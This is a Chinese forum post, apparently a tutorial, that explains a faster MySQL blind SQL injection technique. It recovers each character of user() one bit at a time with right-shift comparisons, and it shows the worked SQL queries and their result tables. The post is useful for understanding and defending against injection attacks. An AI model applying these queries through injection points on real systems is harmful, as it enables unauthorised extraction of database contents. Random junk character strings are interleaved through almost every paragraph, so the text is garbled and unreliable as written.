关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
$ ^1 N! ^4 P0 c2 M: K# Q' p

( o1 R$ R  z8 e9 C# n
下面将以查询mysql数据库当中user()的第一位为例:
/ L( o; m* l# r# Z- d! I" i  M


1 ?3 o& P! j' i, D/ ~# H# yps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)

# q5 D7 @' U6 g% o0 B- J+ E

首先执行如下sql语句:

" S1 c1 c) ^7 O
* r% i2 f, `9 n5 _
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;

  t  @* Q9 z9 |

我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的



+ }+ h& O- i/ k( }第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
5 Z- s( A  P; m; X6 r9 [1 \$ @* I

8 x2 A* B! P0 {" K3 W* S2 D7 b
3 X  X* u" g/ f; \; o( [% B如果运算结果为1,说明第一位为0,不为1


' w. E" S9 ~' T2 c% }1 L7 u
+————————————–+

: B6 b3 D- f+ _| (ascii((substr(user(),1,1))) >> 7)=0 |
; T$ V. Z7 p' _4 @8 w/ q* M* T
+————————————–+
0 `& J* ~6 {8 l! v
| 1 |

* n5 [6 M) p/ w# e- G/ q+————————————–+
. O) D4 G8 S8 X" j. m  F' V
1 row in set (0.00 sec)
' z5 g/ x3 |  m( N" q- Q( j
这样我们就确定这个8bit的ascii的第一位为0

; s* K( Q. n- j' n
) }, h. D& j; T2 y
第二次我们来做6次右偏移来确定前两位
/ N& |# Z; N' q0 i- s


1 ]2 L4 `' Q# w前两位可能是01或00,即依然可以与0做比较,

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+ W: n7 X9 {- P/ n  b2 @+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |
6 l) Q1 I( a0 `0 c; v* j; y
+————————————–+
" H) k- |4 K; Z9 I- B" o
| 0 |

+————————————–+

8 x/ |# M' Q' A: o9 D; L1 row in set (0.00 sec)
: q; `3 |; j7 Q) C8 I4 C


# Q  a0 t9 V/ G" a/ m0 r结果为0,即第二位为1
+ |* t) L+ [$ k


开始猜测前三位为010或011
9 N" x0 x: c  c3 u6 C+ u0 o
/ f. ^$ i' e$ n$ [
# m  u) W+ u$ G% G% }8 k) l3 @
让我们看看010和011的ascii码是多少

4 @9 o2 z1 Y4 C3 w0 z( T$ h" ^

分别查询select b’011′ select b’010′
+ ]  F& F$ t7 J9 |1 |

+ _$ C, L/ G* E0 N2 }4 e
获得结果 010 = 2 011 = 3



执行如下sql:

/ |0 n' X3 G( A6 W& V6 O

8 e. r! {$ W/ g! K2 }mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |
: n5 Y: O5 u+ d
+————————————–+

| 0 |
& y; g' ~/ Y; }0 o  f; M
4 A4 Z& B6 B& ^$ r3 @+————————————–+
9 y% ^$ F6 F+ X1 a
$ e% Z3 o9 L' W3 X  s  ~) v( M即前三位不为010,而是011

' h6 j/ K7 R; ?! R! q) L3 l. `9 \

直到获得最后一位
  e- @8 b! g1 Y5 R8 z) g
' K+ a8 C  g5 E# T' w9 Z2 m( E

最终结果为:01110010
7 ?8 l$ ]5 w/ A7 }5 A, a7 N/ I

. g- ?: e6 i5 [/ l2 M
- q% E$ a/ q& o4 {- u! c转换一下:
& e  h, f8 k0 o4 v$ z" n
3 {" h9 Y" ~: @) J$ `
% T4 v/ d0 e% p
select b’01110010′
9 }% S' z: R/ E$ |3 {
7 |& G  r5 |: T3 w: n( D

* z6 w; l7 f8 E查询结果
# x- j6 u% Q( j/ J& C& e2 D

0 V+ ^8 r+ I2 [9 ^
. A3 U2 y6 [, y+ e2 b- z& F+————-+
7 O! Y2 M1 v; @# L9 M
| b’01110010′ |

- \/ r  W9 b( d; l5 L+————-+

4 `$ D, O. C* p| r |

+————-+

( r5 C- m5 @2 s8 T$ W1 row in set (0.00 sec)



这样我们就获得了user()的第一位.其它位依此类推
5 W6 d0 w2 }2 O